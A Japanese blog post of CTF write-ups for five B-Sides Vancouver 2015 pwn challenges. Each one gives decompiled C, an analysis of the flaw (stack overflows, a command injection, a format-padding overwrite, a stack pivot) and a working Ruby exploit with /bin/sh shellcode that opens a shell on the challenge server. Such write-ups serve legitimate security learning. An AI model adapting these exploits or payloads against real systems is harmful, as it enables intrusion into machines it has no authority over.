しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

B-Sides Vancouver 2015 write up

B-Sides Vancouver 2015に参加しました(´∀`)

1260ptで21位、pwn全完ということで、個人的に満足です(*´ω`*)

なおpwn以外はダメでした☆

以下write upです(`・ω・´)


Sushi(Ownable:100)

Cに直すとこんな感じ。

int main(){
    char buf[0x40];  //rbp-0x40

    printf("Deposit money for sushi here: %p\n", buf);
    fflush(stdout);
    gets(buf);

    printf("Sorry, $0.%d is not enough.\n", buf[0]);
    fflush(stdout);

    return 0;
}

単純明快なバッファオーバフロー。
シェルコード流し込んでリターンアドレスを書き換えるだけ。

#coding:ascii-8bit
#sushi.rb
require_relative "pwnlib"

shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

PwnTube.open("sushi.termsec.net", 4000){|tube|
    puts "[*] connected"
    s = tube.recv

    stack_address = s.match(/: 0x([0-9a-f]+)\n/).captures[0].to_i(16)
    printf("stack address = 0x%x\n", stack_address)

    payload = ""
    payload << shellcode + "A" * (72 - shellcode.length)
    payload << [stack_address].pack("Q")
    tube.send(payload + "\n")

    tube.interactive
}
$ ruby sushi.rb
[*] connected
stack address = 0x7fffcdbd3b30
Sorry, $0.72 is not enough.
[*] interactive mode
cat flag.txt
flag{I_l3ft_my_wallet_in_#irc}
exit
[*] end interactive mode

FLAG:flag{I_l3ft_my_wallet_in_#irc}

Delphi(Ownable:200)

事前準備としてLD_LIBRARY_PATH環境変数を設定。

user@debian-amd64:~/ctf/bside_ctf$ ./delphi
./delphi: error while loading shared libraries: libtwenty.so: cannot open shared object file: No such file or directory
user@debian-amd64:~/ctf/bside_ctf$ ldd delphi
        linux-vdso.so.1 =>  (0x00007fffed3ff000)
        libtwenty.so => not found
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f028667d000)
user@debian-amd64:~/ctf/bside_ctf$ export LD_LIBRARY_PATH=/home/user/ctf/bside_ctf/
user@debian-amd64:~/ctf/bside_ctf$ ldd delphi
        linux-vdso.so.1 =>  (0x00007fff2d3ff000)
        libtwenty.so => /home/user/ctf/bside_ctf/libtwenty.so (0x00007fd071833000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd071613000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd071286000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fd071a37000)

gdbで開いてinfo functionsをしてみる。

(gdb) info functions
All defined functions:

File go:
void _cgo_allocate();
void _cgo_panic();
void _rt0_amd64_linux();
void _rt0_go();
void bufio.(*Scanner).Bytes;
void bufio.(*Scanner).Err;
void bufio.(*Scanner).Scan;
void bufio.(*Scanner).Split;
void bufio.(*Scanner).Text;
void bufio.(*Scanner).advance;
void bufio.(*Scanner).setErr;
void bufio.ScanLines(struct []uint8, bool, int, struct []uint8, error);
void bufio.init();
void bytes.IndexByte();
void bytes.init();
void crosscall2();
void errors.(*errorString).Error;
void errors.New(struct string, error);
void fmt.(*buffer).Write;
void fmt.(*buffer).WriteByte;
void fmt.(*buffer).WriteRune;
---Type <return> to continue, or q <return> to quit---

出てくる関数名が何かのフレームワークの存在を匂わせる感じ。

ということでググると、GoLangで書かれたプログラムっぽい。(というかinfo functionsFile go:って書いてあったorz)

関数一覧を見ると、パッケージ名[.(*this)].関数名という命名になっているっぽい。
GoLangで書かれたプログラムのエントリポイントはmainパッケージのmainのようなので、main.mainを見てみた。
が、超絶長い上に何の処理をしているのかよくわからない。

文字列の比較をしているっぽいruntime.eqstringがあったので、そこにブレークポイントを張ってレジスタを確認してみる。

(gdb) b 'runtime.eqstring'
Breakpoint 18 at 0x425600: file /usr/lib/golang/src/pkg/runtime/string.goc, line 210.
(gdb) c
Continuing.
> abcd

Breakpoint 13, 0x00000000004017ee in main.main () at /home/cabal/main.go:36
36      in /home/cabal/main.go
1: x/i $pc
=> 0x4017ee <main.main+1390>:   call   0x425600 <runtime.eqstring>
(gdb) x/s $rsi
0x4d7850 <go.string.*+16528>:    "exit"

runtime.eqstring呼び出し時には、rsiレジスタに比較対象の文字列のアドレスが入っていることがわかった。

これを利用してmain関数の動作を何となくで解析し、Rubyに書き起こすとこんな感じになる。

puts "Welcome!"
puts
puts "Are you ready to play 20 questions? No? Perfect!"
puts "I'm thinking of something big, metal, and orange. Go!"
print "> "
while s = gets.chomp
    if s == "exit"
        puts "Bye!"
        break
    end
    args = s.split
    if args[0] == "go"
        if args.length == 1
            puts "Sneaky, sneaky. Go where? How fast?"
        else
            if args.length == 3
                check_answer(args[2].to_i, args[1])  # defined in libtwenty.so
            end
        end
    else
        # ハズレメッセージ出力
    end
    print "> "
end

go 文字列 数字と入力するとcheck_answerが呼ばれるという動作をしていた。

check_answerはCで書かれているようなので、これをCに直すとこんな感じ。

void check_answer(int _value, char *_message){
    char *message = _message;  //rbp-0xa0
    int value = _value;  //rbp-0x94
    char buf[142] = "echo ";  //rbp-0x90
    short var_2 = 42 + (short)value;  //rbp-0x2

    if((unsigned int)var_2 > 4){
        puts("1 + 1 = Window, Erm. I mean, what goes up must come down.");
        puts("No wait, maybe it was what goes down must come up? I don't know. Life is to short.");
        return;
    }

    switch(var_2){
        case 4:
            strcat(buf, message);
            system(buf);
            break;
        default:
            break;
    }

    return;
}
  1. (unsigned int)var_2 == 4が成り立つようにすればsystem("echo " + message)を実行できる。
  2. "echo "の後ろにmessageをくっつけているだけなので、コマンドインジェクションが可能。ただし空白を含めることは出来ない。

解決策↓

  1. valueを-38とかにすればOK
  2. ;cat<flag.txtとすればフラグが出力される

ということで、フラグを取りに行く。

$ nc delphi.termsec.net 5000
Welcome!

Are you ready to play 20 questions? No? Perfect!
I'm thinking of something big, metal, and orange. Go!
> go ;cat<flag.txt -38

flag{I_l3t_my_tape_r0ck_til_my_t4pe_popped}

FLAG:flag{I_l3t_my_tape_r0ck_til_my_t4pe_popped}

www(Ownable:200)

Cに直すとこんな感じ。

char randval[9];

void copybuf(char *buffer1, char *buffer2){
    char buf[16];
    char canary[9];

    strncpy(canary, randval, 9);

    strcpy(buf, buffer1);
    strcpy(buffer1, buffer2);

    if(strcmp(canary, randval) != 0){
        puts("STACK SMASHING DETECTED!!! EXIT IMMEDIATELY");
        exit(0);
    }

    return;
}

int main(){
    char buf[4];
    char buffer2[256];
    char buffer1[256];
    int fd;
    int i;

    printf("%s\nbuffers at %p and %p, ready for input!\n",
        "Welcome to www! Please give me two strings to have them echoed back to you!",
        buffer1, buffer2);
    fflush(stdout);

    fgets(buffer, 256, stdin);
    fgets(buffer, 256, stdin);
    printf("%s\n%s\n", buffer1, buffer2);
    fflush(stdout);

    fd = open("/dev/urandom", O_RDONLY);

    if(fd == 0){  //←なぜに0……
        puts("Unable to access /dev/random");
        srand(time(NULL));
    }else{
        read(0, buf, 4);
        close(0);
        srand(buf);
    }

    for(i = 0; i <= 7; i++){
        randval[i] = rand() % ?? + 0x30;
    }
    randval[8] = '\0'

    printf("Stack canary created: %s\n", randval);
    
    copybuf(buffer1, buffer2);

    puts("Better luck next time, eh?");
}

copybufの1回目のstrcpyでバッファオーバフローが起こせるが、
ただリターンアドレスを上書きするだけだとcanaryを破壊してしまう。

しかし、リターンアドレスの先にはcopybufの引数があり、バッファオーバフローによってそこも上書きができる。
2回目のstrcpycopybufの引数をそのまま渡しているため、このstrcpyでメモリ上の好きな文字列を好きな場所にコピーできる。

ということで、

  1. 1回目のstrcpyでシェルコード読み込み + リターンアドレス上書き(canaryの破壊を伴う) + copybufの引数上書き
  2. 1.で破壊したcanaryrandvalが同じ文字列になるように、2回目のstrcpyrandvalも破壊

という方針で攻略する。

なお、bufからリターンアドレスまでの距離は41バイト。

#coding:ascii-8bit
#www.rb
require_relative "pwnlib"

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

PwnTube.open("www.termsec.net", 17284){|tube|
    tube.wait_time = 0.5

    puts "[*] connected"
    sleep(1)

    randval_address = 0x08049d68

    puts "[*] getting buffer addresses"
    buffer1_address, buffer2_address = [0, 0]
    tube.recv.match(/buffers at (0x[0-9a-f]+) and (0x[0-9a-f]+),/).captures.tap{|captures|
        buffer1_address = captures[0].to_i(16)
        buffer2_address = captures[1].to_i(16)
    }
    printf("buffer1 = 0x%08x\n", buffer1_address)
    printf("buffer2 = 0x%08x\n", buffer2_address)

    payload = ""
    payload << "A" * 41
    payload << [buffer2_address].pack("L")
    payload << [randval_address, buffer1_address + 16].pack("L*")  # canaryはbuffer1の17文字目以降で上書きされている
    tube.send(payload + "\n")

    payload = ""
    payload << shellcode
    tube.send(payload + "\n")

    tube.interactive
}
$ ruby www.rb
[*] connected
[*] getting buffer addresses
buffer1 = 0xbfe7f794
buffer2 = 0xbfe7f694
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���h ���

1�Rh//shh/bin��RS��B̀

[*] interactive mode
cat flag.txt
flag{K33P_ST4T1C_L1K3_W00L_F4BR1C}
exit
[*] end interactive mode

FLAG:flag{K33P_ST4T1C_L1K3_W00L_F4BR1C}

Glorious Modern(Ownable:350)

Cに直すとこんな感じ。
一部関数が抜けているのは気にしない←

typedef struct{
    int isUsed;  //base+0
    SomeStruct *next;  //base+4
    char text[90];  //base+0xc
    long index;  //base+0x66
} SomeStruct;

int isDebugMode;  //0x601f38
SomeStruct *TOP;  //0x601f40

void puts_flush(char *msg){  //0x400a20
    puts(msg);
    fflush(NULL);
}

void read_flag(char *_buf){  //0x400976
    char *buf = _buf;  //rbp-0x28
    int fd;  //rbp-0x14
    long var_10 = 0;  //rbp-0x10
    long var_8 = 0;  //rbp-0x8

    fd = open("./flag.txt", O_RDONLY);
    if(fd == -1){
        perror("open");
        exit(1);
    }

    while(1){
        var_8 += read(fd, buf + var_10, 0x40 - var_10);
        if(var_10 == -1){
            perror("read");
            exit(1);
        }
        if(var_8 > 63){
            break;
        }
        if(var_10 == 0){
            break;
        }
    }

    close(fd);

    return;
}

void create_list(long _arg){  //0x400a44
    long arg = _arg;  //rbp-0x28
    SomeStruct *new_struct;  //rbp-0x18
    SomeStruct *current;  //rbp-0x10
    long i;  //rbp-0x8

    for(i = 0; i < arg; i++){
        new_struct = malloc(0x6e/*110*/);
        new_struct->isUsed = 0;
        new_struct->next = NULL;
        if(TOP == NULL){
            TOP = new_struct;
            continue;            
        }

        current = TOP;
        while(current->next != NULL){
            current = current->next;
        }
        current->next = new_struct;
    }

    return;
}

void get_string(char *_buf, long _length){  //0x400ada
    long length = _length;  //rbp-0x30
    char *buf = _buf;  //rbp-0x28
    long i;  //rbp-0x18

    for(i = 0; i < length; i++){
        read(fileno(stdin), &buf[i], 1);
        if(buf[i] == '\n'){
            buf[i] = '\0';
            break;
        }
    }
    buf[length] = '\0';

    return;
}

void switch_debug_mode(){  //0x400c2e

    isDebugMode = !isDebugMode;

    if(isDebugMode){
        puts_flush("Bjorn Stoustrup mode activated");
    }else{
        puts_flush("Bjorn Stoustrup mode deactivated");
    }

    return;
}

int get_padding(){  //0x400b69
    char var_10[3];  //rbp-0x10

    read(fileno(stdin), &var_10[0], 1);
    read(fileno(stdin), &var_10[1], 1);
    read(fileno(stdin), &var_10[2], 1);
    var_10[2] = '\0';

    return (int*)var_10;
}

void print_element(char *_format, SomeStruct *_current, long *_values){
    long *values = _values;  //rbp-0x18
    SomeStruct *current = _current;  //rbp-0x10
    char *format = _format;  //rbp-0x8

    if(isDebugMode){
        printf("%d / %s / ", current->index, current->text);
    }

    printf(format, arg[current->index]);

    return;
}

void print_data(long *_values){  //0x400cd8
    char *values = _values;  //rbp-0x38
    char padding[4];  //rbp-0x30
    char format[] = "%00ld";  //rbp-0x20
    SomeStruct *current;  //rbp-0x18

    if(isDebugMode){
        puts_flush("[d] Specify padding:");
        (int*)padding = get_padding();

        if(padding[0] < '0' || padding[0] > '9' || padding[1] < '0' || padding[1] > '9'){
            puts_flush("[d] Invalid padding");
        }else{
            format[1] = padding[0];
            format[2] = padding[1];
        }
    }

    current = TOP;

    while(current != NULL){
        printf("[ ");
        if(current->isUsed){
            print_element(format, current, values);
        }else{
            printf("undefined");
        }
        if(isDebugMode){
            puts_flush(" ]");
        }else{
            printf(" ]");
        }
        current = current->next;
    }

    puts_flush("");

    return;
}

void add_element(char *_command, long *_values, int *_count){
    int *count = count;  //rbp-0xc8
    long *values = values;  //rbp-0xc0
    char *command = _command;  //rbp-0xb8
    char buffer[90];  //rbp-0xb0
    char padding[4];  //rbp-0x50
    char format[] = "%00s";  //rbp-0x40
    long value;  //rbp-0x30
    int index;  //rbp-0x24
    SomeStruct *current;  //rbp-0x20
    int i;  //rbp-0x14

    memset(buffer, 0, sizeof(buffer));

    index = atoi(command + 4);
    if(count > 15){
        puts_flush("Red black tree list full!");
        return;
    }
    if(index < 0 || index > 15){
        puts_flush("Index out of array range");
        return;
    }

    current = TOP;
    for(i = 0; i < index; i++){
        current = current->next;
    }

    if(current->isUsed){
        puts_flush("Element already exists.");
        return;
    }

    puts_flush("Value for the new element");
    value = sub400bf1();

    if(isDebugMode){
        puts_flush("[d] Specify padding:");
        (int*)padding = get_padding();
        if(padding[0] < '0' || padding[0] > '9' || padding[1] < '0' || padding[1] > '9'){
            puts_flush("[d] Invalid padding");
        }else{
            format[1] = padding[0];
            format[2] = padding[1];
        }

        puts("Optional note for the new element:");
        get_string(buffer, sizeof(buffer));
    }

    if(isDebugMode){
        printf("[d] List head at: %p\n", TOP);
        fflush(NULL);
    }

    current->isUsed = 1;
    current->index = (long)(*count);
    values[(long)(*count)] = value;
    *count += 1
    sprintf(current->text, format, buffer);

    if(isDebugMode){
        printf("[d] New Element at: %p\n", current);
        fflush(NULL);
    }

    return;
}

void main_loop(long *_values, int *_count){  //0x40121f
    int* count = _count;  //rbp-0x60
    long *values = _values;  //rbp-0x58
    char buf[64];  //rbp-0x50
    int isQuitting = 0;  //rbp-0x4

    memset(buf, 0, sizeof(buf));

    while(1){
        printf("> ");
        fflush(NULL);

        get_string(buf, sizeof(buf));

        if(isDebugMode){
            printf("[d] Command: %s\n", buf);
            fflush(NULL);
        }

        if(strstr(buf, "debug") != NULL){
            switch_debug_mode();
        }else if(strstr(buf, "print") != NULL){
            print_data(values);
        }else if(strstr(buf, "total") != NULL){
            func400dea(values);
        }else if(strstr(buf, "sort") != NULL){
            func400f6e(values);
        }else if(strstr(buf, "add") != NULL){
            add_element(buf, values, count);
        }else if(strstr(buf, "del") != NULL){
            func4011f5(buf, values, count);
        }else if(strstr(buf, "quit") != NULL){
            isQuitting = 1;
        }

        if(isQuitting){
            return;
        }
    }
}

int main(){
    int count = 0;  //rbp-0xc4
    char flag[64];  //rbp-0xc0
    long values[16];  //rbp-0x80

    read_flag(flag);

    create_list(16);

    memset(values, 0, sizeof(values));

    puts_flush("Welcome to Glorious Modern C++ 15");
    puts_flush("");
    puts_flush("As part of the C++ 15 standard, we have overhauled arrays so they");
    puts_flush("provide a Network Interface Impl for remote usage. Sticking with");
    puts_flush("earlier C++ standards, we have added --omg-optimized and backed it");
    puts_flush("with a red black vector list tree for extra reduced complexity and");
    puts_flush("succinct error messages.");
    puts_flush("");

    main_loop(values, &count);
}

線形リストに数値を登録したり、登録した数値を表示したり、ソートしたりするプログラム。

  • debugと打つと、デバッグモードのon/offを切り替えられる。
  • add <index>と打つと、リストのindex番目に数値を登録できる。
    このとき、デバッグモードが有効になっているとメモも登録できる。
    登録された数値はmainのローカル変数long values[16]に格納され、リスト側はvaluesの添え字を保持する。
  • printと打つと、登録されている数値がリストの先頭から出力される。
  • mainの初っ端でflag.txtを読みに行っているので、これをリークさせればOK。

addコマンドのメモ登録時にはpaddingの入力を求められ、例えば10を指定すると、
sprintf((SomeStruct*)current->text, "%10s", (char*)memo)が実行される。
が、paddingの入力時は数値チェックしかしていないため、91以上の値を指定すると
indexフィールドを任意の値で上書きすることができる。
このとき、indexが-8~-1になるようにすれば、printコマンド実行時にflagの中身をリークさせることができる。

#coding:ascii-8bit
#gm.rb
require_relative "pwnlib"

PwnTube.open("gloriousmodern.termsec.net", 7000){|tube|
    tube.wait_time = 0.3

    puts "[*] connected"
    sleep(1)

    puts "[*] set debug mode"
    tube.send("debug\n")

    puts "[*] add datas(with overwriting index)"
    payload = ""
    8.times{|i|
        payload = ""
        payload << "add #{i}\n"
        payload << "#{i}\n"  #value
        payload << "98\n"  #padding
        payload << [-8 + i].pack("Q") + "\n"  #note
        tube.send(payload)
    }

    puts "[*] print data(and display the flag)"
    tube.recv
    tube.send("print\n")
    tube.send("00\n")  #padding
    sleep(2)

    flag = []
    tube.recv.scan(/ \/ \d+ \]/){|s|
        s.scan(/\d+/){|n| flag << n.to_i}
    }
    puts flag.pack("Q*").match(/flag{.*}/).to_s
}
$ ruby gm.rb
[*] connected
[*] set debug mode
[*] add datas(with overwriting index)
[*] print data(and display the flag)
flag{0ne_time_4_ur_m1nd}

FLAG:flag{0ne_time_4_ur_m1nd}

Wild Blue Yonder(Ownable:400)

Cに直すとこんな感じ。

typedef struct{
    char name[32];  //base+0
    int strength;  //base+0x14
    int dexterity;  //base+0x18
    int constitution;  //base+0x1c
    int intelligence;  //base+0x20
    int wisdom;  //base+0x24
    int charisma;  //base+0x28
} Character;

int dungeon_created;  //0x0804acc8
char *dungeon;  //0x0804ad00

int puts_flush(char *str){
    int length;
    length = printf("%s\n", str);
    fflush(stdout);
    return length;
}

int get_ascii_string(char *buf, int length){
    int i;

    for(i = 0; i < length; i++){
        read(fileno(stdin), &buf[i], 1);
        if(buf[i] == '\n' || buf[i] <= '\x1f' || buf[i] == '\x7f'){
            buf[i] = '\0';
            break;
        }
    }
    buf[length - 1] = '\0';

    return i;
}

int get_string(char *buf, int length){
    int i;

    for(i = 0; i < length; i++){
        read(fileno(stdin), &buf[i], 1);
        if(buf[i] == '\n'){
            buf[i] = '\0';
            break;
        }
    }
    buf[length - 1] = '\0';

    return i;
}

int get_int(){
    char buf[32];
    int i;

    for(i = 0; i <= 31; i++){
        read(fileno(stdin), &buf[i], 1);
        if(buf[i] == '\n'){
            buf[i] = '\0';
            break;
        }
    }
    buf[31] = '\0';

    return atoi(buf);
}

void create_character(Character *character){

    puts_flush("");

    puts_flush("By what name shall we know thee? ");
    get_ascii_string(character->name, 32);

    character->strength = rand() % 20;
    character->dexterity = rand() % 20;
    character->constitution = rand() % 20;
    character->intelligence = rand() % 20;
    character->wisdom = rand() % 20;
    character->charisma = rand() % 20;

    printf("Greetings %s!\n", character->name);
    printf("Strength: %u/20\t\tIntelligence: %u\n", character->strength, character->intelligence);
    printf("Dexterity: %u/20\t\tWisdom: %u\n", character->dexterity, character->wisdom);
    printf("Constitution: %u/20\tCharisma: %u\n", character->constitution, character->charisma);

    puts_flush("");

    return;
}

char *copy_to_dungeon(char *d, char *buf, int pagesize, int length){
    char *var_C = d + pagesize;

    while(d < var_C){
        memcpy(d, buf, length);
        d += length;
    }

    d += ~pagesize;
    return d;
}

void generate_dungeon(){
    char buffer[128];
    char levels;
    int i;

    puts_flush("");

    puts_flush("How many levels should your dungeon have [1-3]:");
    levels = (char)get_int();

    if(levels == 0 || levels > 3){
        puts_flush("A dungeon can have 1-3 levels.")
        puts_flush("");
        return;
    }

    printf("%u\n", (unsigned int)levels);

    dungeon = (char*)mmap(0x20150000, sysconf(_SC_PAGESIZE) * levels, PROT_EXEC | PROT_READ | PROT_WRITE, 0x32, -1, 0);
    if(dungeon == MAP_FAILED){
        perror("mmap");
        exit(1);
    }

    for(int i = 0; i < (unsigned int)levels; i++){
        memset(buffer, 0, sizeof(buffer));

        printf("Enter your data for level %d:\n", i);
        fflush(stdout);

        get_string(buffer, sizeof(buffer));

        copy_to_dungeon(buffer + sysconf(_SC_PAGESIZE) * i, buffer, sysconf(_SC_PAGESIZE), sizeof(buffer))
    }

    puts_flush("Generating world...");
    sleep(1);

    puts_flush("");

    dungeon_created = 1;

    return;
}

void print_dungeon(int x, int y){
    char map_char;
    int row;
    int col;

    for(row = 0; row <= 19; row++){
        for(col = 0; col <= 63; col++){
            if(col == x && row == y){
                putchar('@');
            }else{
                map_char = (char)dungeon[row * 20 + col];
                if(map_char <= '\x1f' || map_char > '\x7e'){
                    putchar('.');
                }else{
                    putchar(map_char);
                }
            }
        }
        puts_flush("");
    }

    puts_flush("");

    return;
}

void explore_dungeon(Character *character){
    char command;
    int isQuitting = 0;
    int y = 0;
    int x = 0;

    if(!dungeon_created){
        puts_flush("You must create the dungeon before you can explore it!");
        return;
    }

    print_dungeon(x, y);

    while(1){
        command = getchar();

        switch(command){
            case '\n'
                continue;
            case 'h':
                x -= 1;
                break;
            case 'j':
                y += 1;
                break;
            case 'k':
                y -= 1;
                break;
            case 'l':
                x += 1;
                break;
            case 'q':
                isQuitting = 1;
                break;
            default:
                printf("I don't know how to do that, %s\n", character->name);
                break;
        }

        if(isQuitting){
            return;
        }

        print_dungeon(x, y);
    }
}

void recreate_character(Character *character){

    puts_flush("");

    puts_flush("By what name shall we know thee? ");
    get_ascii_string(character->name, 128);

    character->strength = rand() % 40;
    character->dexterity = rand() % 40;
    character->constitution = rand() % 40;
    character->intelligence = rand() % 40;
    character->wisdom = rand() % 40;
    character->charisma = rand() % 40;

    printf("Greetings %s!\n", character->name);
    printf("Strength: %u/20\t\tIntelligence: %u\n", character->strength, character->intelligence);
    printf("Dexterity: %u/20\t\tWisdom: %u\n", character->dexterity, character->wisdom);
    printf("Constitution: %u/20\tCharisma: %u\n", character->constitution, character->charisma);

    puts_flush("");

    return;
}

void main_menu(Character *character){
    int choice;
    int isQuitting = 0;

    while(1){
        puts_flush(".:1] Generate a new dungeon.");
        puts_flush(".:2] Explore your dungeon.");
        puts_flush(".:3] Reroll your character.");
        puts_flush(".:4] Quit.");
        puts_flush("");

        puts_flush("What is your choice?");
        choice = get_int();

        switch(choice){
            case 1:
                generate_dungeon();
                break;
            case 2:
                explore_dungeon();  //←なぜか引数が渡されていない
                break;
            case 3:
                recreate_character(character);
                break;
            case 4:
                isQuitting = 1;
                break;
            default:
                printf("I'm sorry %s, I don't think I can do that.", character->name);
                fflush(stdout);
                break;
        }

        if(isQuitting){
            break;
        }
    }
}

int main(){
    Character character;

    puts_flush("                      -= MUD Builder Pro v5.5 =-");
    puts_flush(山);

    create_character(&character)
    main_menu(&character);

    return 0;
}

解析がんばった(`・ω・´)

  • recreate_characterのキャラ名入力部分で盛大にバッファオーバフローができる。(ただし、0x1f以下と0x7fは使用不可)
    引数characterの実体はmainのローカル変数なので、mainのスタック領域を破壊できる。
  • generate_dungeonで、メモリ上の0x20150000~(0x20151000 + 0x1000 * levels)rwxな領域が作成される仕様。
    levelsには1~3のみ指定できるつもりでコーディングされているが、実はsigned charで負数とみなされる数値の入力が通る。

mainreturn 0;の部分のアセンブリを見ると、次のようになっている。

Dump of assembler code from 0x804873a to 0x8048747:
   0x0804873a:  mov    eax,0x0
   0x0804873f:  mov    ecx,DWORD PTR [ebp-0x4]
   0x08048742:  leave
   0x08048743:  lea    esp,[ecx-0x4]
   0x08048746:  ret
End of assembler dump.

saved-ebpの上にsaved-espがあるので、
generate_dungeon時にシェルコードと、シェルコードのアドレスを入れた偽のスタックを準備し、
mainからのリターン時にespがそこを指すようにrecreate_characterでバッファオーバフローする。

バッファオーバフロー時に0x1f以下と0x7fは使用できないという制約があるが、
generate_dungeonlevelsに255を指定すれば0x20150000~0x2024f000に領域が確保されるので問題なっしんぐ(死語……?)。

#coding:ascii-8bit
#wby.rb
require_relative "pwnlib"

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

PwnTube.open("wildblue.termsec.net", 2323){|tube|
    tube.wait_time = 0.5

    shellcode_address = 0x20150000
    new_stack_pointer = 0x20237020

    puts "[*] connected"
    sleep(1.5)

    puts "[*] create character"
    tube.recv
    tube.send("name\n")

    puts "[*] create dungeon(read shellcode and create fake stack)"
    tube.recv
    payload = ""
    payload << "1\n"
    payload << "255\n"
    255.times{|i|
        if i == 0
            payload << shellcode
        elsif i == 0xe7
            payload << "A" * 0x20
            payload << [shellcode_address].pack("L")
        end
        payload << "\n"
    }
    tube.send(payload)
    sleep(1)

    puts "[*] recreate character(overwrite saved-esp)"
    tube.recv
    payload = ""
    payload << "3\n"
    payload << "A" * 48
    payload << [new_stack_pointer + 4].pack("L")
    tube.send(payload + "\n")

    puts "[*] quit(trigger)"
    tube.recv
    tube.send("4\n")

    tube.interactive
}
$ ruby wby.rb
[*] connected
[*] create character
[*] create dungeon(read shellcode and create fake stack)
[*] recreate character(overwrite saved-esp)
[*] quit(trigger)
[*] interactive mode
cat flag.txt
flag{k1ck_in_tha_d00r_wavin_tha_44}
exit
[*] end interactive mode

FLAG:flag{k1ck_in_tha_d00r_wavin_tha_44}


おまけ

「人間デコンパイラ」の称号をいただきました(*´ω`*)